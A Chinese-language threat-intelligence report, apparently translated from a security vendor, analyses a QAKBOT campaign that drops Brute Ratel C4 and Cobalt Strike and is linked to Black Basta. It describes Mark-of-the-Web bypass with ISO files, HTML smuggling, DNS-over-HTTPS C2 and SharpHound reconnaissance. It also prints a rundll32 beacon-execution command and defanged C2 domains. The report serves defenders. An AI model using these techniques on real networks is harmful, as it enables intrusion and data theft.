繞過安全檢測的標誌ZIP文件包含一個. iso文件。使用ISO文件是為了破壞“Mark of the Web (MOTW)” ，該標記將文件標記為從互聯網下載。它使這些文件受到Windows和終端安全解決方案的其他安全措施的影響。 ISO文件包含一個使用“Explorer”圖標的可見LNK文件和兩個隱藏的子目錄，每個子目錄包含各種文件和目錄。默認情況下，Windows操作系統不向用戶顯示隱藏文件。下圖說明了啟用“顯示隱藏文件”設置時用戶看到的內容。

5.png

啟用“顯示隱藏文件”設置時，用戶看到的添加隱藏子目錄

目錄結構如下：

6.png

目錄結構

命令行界面的執行順序QAKBOT在兩個腳本文件之間使用模糊處理，一個JavaScript (.js)文件和一個批處理腳本(.cmd)文件，很可能是為了隱藏看起來可疑的命令行。

9.png

命令行接口的執行順序

初始QAKBOT CC服務器通信C C基礎設施在地理上分佈在主要位於住宅Internet服務提供商(ISP) 寬帶網絡中的受損主機上。

這些“第1層”CC服務器被QAKBOT運營商認為是一次性的，並且幾乎每次有新的惡意軟件傳播時經常被更換，儘管有些服務器在多個QAKBOT惡意軟件配置中仍然存在。

自動化偵察命令在最初的CC通信之後僅6分鐘，並且QAKBOT惡意軟件現在在註入的進程(wermgr.exe)中運行，通過執行多個內置命令行工具在受感染的環境中執行自動偵察。這些命令行的執行順序如下：

10.png

內置命令行的執行順序

該活動在趨勢科技Vision One™中可見，它可以檢測到這些內置Windows命令的可疑使用。

11.png

顯示與wermgr.exe相關的活動

QAKBOT釋放Brute Ratel自動偵察活動完成五分鐘後，注入QAKBOT的wermgr.exe進程釋放Brute Ratel DLL，並通過帶有“main”導出函數的rundll32.exe子進程調用它。

12.png

Brute Ratel被wermgr.exe通過rundll32.exe進程調用

該後門是一個HTTPS，它在symantecuptimehost[.]com執行擁有Brute Ratel服務器的簽入：

13.png

Brute Ratel簽入

在環境中執行進一步的偵察，以識別特權用戶。首先，使用內置的net.exe和nltest.exe。

14.png

識別特權用戶的偵察過程

其次，SharpHound實用程序通過Brute Ratel在註入的svchost.exe進程中運行，以輸出JSON文件，這些文件被輸入到BloodHound，並被標記為Active Directory組織單元、組策略、域、用戶組、計算機和用戶。然後將這些文件打包到一個ZIP文件中，以便為信息竊取做準備。整個過程都是腳本化的，只需不到兩秒鐘就可以完成。

15.png

通過svchost.exe輸出JSON文件

Brute Ratel釋放Cobalt Strike有趣的是，攻擊者選擇利用Cobalt Strike進行橫向移動。將幾個信標文件中的第一個文件放到運行Brute Ratel C4的受感染終端上，第一個文件為：C:\Users\Public\Name-123456.xls。

使用以下命令在運行Brute Ratel C4的同一主機上執行此信標文件：rundll32 C:\users\public\Name-123456.xls,DllRegisterServer。

接下來，攻擊者釋放其他信標文件，並將這些文件複製到網絡上其他主機上的管理共享，再次使用帶有XLS附件的文件名。

C:\Users\Public\abcabc.xls

C:\Users\Public\abc-1234.xls

C:\Users\Public\Orders_12_34_56.xls

C:\Users\Public\MkDir.xls

用於復製文件的命令如下：

16.png

以下列表是信標C C服務器：

hxxps://fewifasoc[.]com | 45.153.242[.]251

hxxps://hadujaza[.]com | 45.153.241[.]88

hxxps://himiketiv[.]com | 45.153.241[.]64

在採取任何最終行動之前，攻擊者會被從環境中驅逐出去。

到Brute Ratel的QAKBOT ‘Obama’在另一個事件中，趨勢科技發現QAKBOT使用‘Obama’傳播者ID前綴(即“Obama208”)也將Brutel Ratel C4作為第二級有效負載。

在此示例中，惡意軟件以受密碼保護的ZIP文件的形式通過HTML走私傳遞，這允許攻擊者“走私”編碼的惡意腳本到HTML附件或網頁。一旦用戶在瀏覽器中打開HTML頁面，就會解碼腳本並組裝有效負載。

17.png

QAKBOT傳播者使用密碼保護來抵禦網絡和沙箱安全掃描

一旦使用HTML附件中提供的密碼解密了ZIP文件，用戶就會看到一個ISO文件。惡意文件包含在ISO文件中，被用作Web繞過的標記。在內部，ISO文件包含以下目錄結構：

18.png

ISO文件目錄結構

自從QAKBOT回歸以來，研究人員觀察到執行鏈中的多種形式，從腳本語言到文件擴展名，再到導出函數名和序號的使用。對於這種感染，使用的是以下變體：

19.png

感染過程與上述攻擊中描述的TTP(戰術、技術和程序)相同。但是，在C2配置中觀察到一個顯著差異，與更傳統的HTTPS C2通道相比該配置使用HTTPS (DoH) 上的DNS。觀察到的C C服務器使用了帶有let's-Encrypt的HTTPS。

通過使用DoH，攻擊者可以隱藏C2域的DNS查詢。如果沒有使用中間人(MitM) 技術檢查SSL/TLS流量，則對C2服務器的DNS查詢將不會被注意到。

20.png

通過HTTPS (DoH)上的DNS執行C C通信的Brute Ratel進程。在採取任何最終行動之前，攻擊已經得到緩解

與Black Basta的關係21.png

QakBot到Black Basta攻擊中使用的Brute Ratel和Cobalt Strike基礎結構

根據調查，研究人員可以確定QAKBOT-to-Brute Ratel-to-Cobalt Strike攻擊鏈與Black Basta組織有關。這是基於在Black Basta攻擊中觀察到的重疊ttp和基礎設施來判斷的。

總結用戶可以通過以下一些最佳實踐來阻止新的QAKBOT變體和其他通過電子郵件傳播的攻擊：

在下載附件或從電子郵件中選擇嵌入式鏈接之前，請驗證電子郵件發件人和內容；

將指針懸停在嵌入鏈接上方以顯示鏈接的目標；

檢查發件人的身份，不熟悉的電子郵件地址，不匹配的電子郵件和發件人姓名，以及偽造的公司郵件都是危險跡象；

如果電子郵件聲稱來自合法公司，請在採取任何行動之前驗證他們是否確實發送了電子郵件。